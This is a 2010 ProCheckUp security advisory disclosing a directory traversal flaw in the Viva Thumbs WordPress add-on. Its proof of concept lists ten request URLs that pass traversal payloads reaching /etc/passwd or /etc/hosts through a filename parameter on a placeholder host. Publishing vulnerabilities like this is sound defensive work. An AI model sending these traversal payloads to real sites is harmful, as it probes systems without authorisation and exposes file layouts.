http://www.procheckup.com/vulnerability_manager/vulnerabilities/pr10-04

[research <research () procheckup com>]

http://www.procheckup.com/vulnerability_manager/vulnerabilities/pr10-04

PR10-04 Directory traversal limited to file validation within Viva
thumbs WordPress add-on


Advisory publicly released: Tuesday, 21 December 2010
Vulnerability found: Thursday, 4 February 2010
Vendor informed: Monday, 8 February 2010
Severity level: Low/Medium
Credits
Richard Brain of ProCheckUp Ltd (www.procheckup.com)
Description
Viva Thumbs resizes and display images, as part of a popular WordPress
plugin.ProCheckUp has discovered that Viva Thumbs is vulnerable to a
directory traversal attack within the image display functionality, the
directory traversal attack is limited to file existence validation.

Note: tested on Viva Thumbs running on the Linux operating system.
Proof of concept
The following demonstrate the traversal flaw:

1) Vulnerable to directory traversal

http://target-domain.foo/show_image_NpAdvCatPG.php?cache=false&cat=1&filename=/../../../../../../etc/passwd


http://target-domain.foo/show_image_NpAdvHover.php?cache=false&cat=0&filename=/../../../../../../etc/passwd


http://target-domain.foo/show_image_NpAdvInnerSmall.php?cache=false&cat=1&filename=/../../../../../../etc/hosts


http://target-domain.foo/show_image_NpAdvMainFea.php?cache=false&cat=1&filename=/../../../../../../etc/passwd


http://target-domain.foo/show_image_NpAdvMainPGThumb.php?cache=false&cat=1&filename=/../../../../../../etc/hosts


http://target-domain.foo/show_image_NpAdvFeaThumb.php?cache=false&cat=1&filename=/../../../../../../etc/hosts


http://target-domain.foo/show_image_NpAdvSecondaryRight.php?cache=false&cat=1&filename=/../../../../../../etc/hosts


http://target-domain.foo/show_image_NpAdvSideFea.php?cache=false&cat=1&filename=/../../../../../../etc/hosts


http://target-domain.foo/show_image_NpAdvSinglePhoto.php?cache=false&cat=1&filename=/../../../../../../etc/hosts


http://target-domain.foo/show_image_NpAdvSubFea.php?cache=false&cat=1&filename=/../../../../../../etc/hosts


Consequences:
The existance of files can be validated on the system, outside the
WordPress webroot.
How to fix
None available
References


Legal
Copyright 2010 ProCheckUp Ltd. All rights reserved.

Permission is granted for copying and circulating this Bulletin to the
Internet community for the purpose of alerting them to problems, if and
only if, the Bulletin is not edited or changed in any way, is attributed
to Procheckup, and provided such reproduction and/or distribution is
performed for non-commercial purposes.

Any other use of this information is prohibited. Procheckup is not
liable for any misuse of this information by any third party.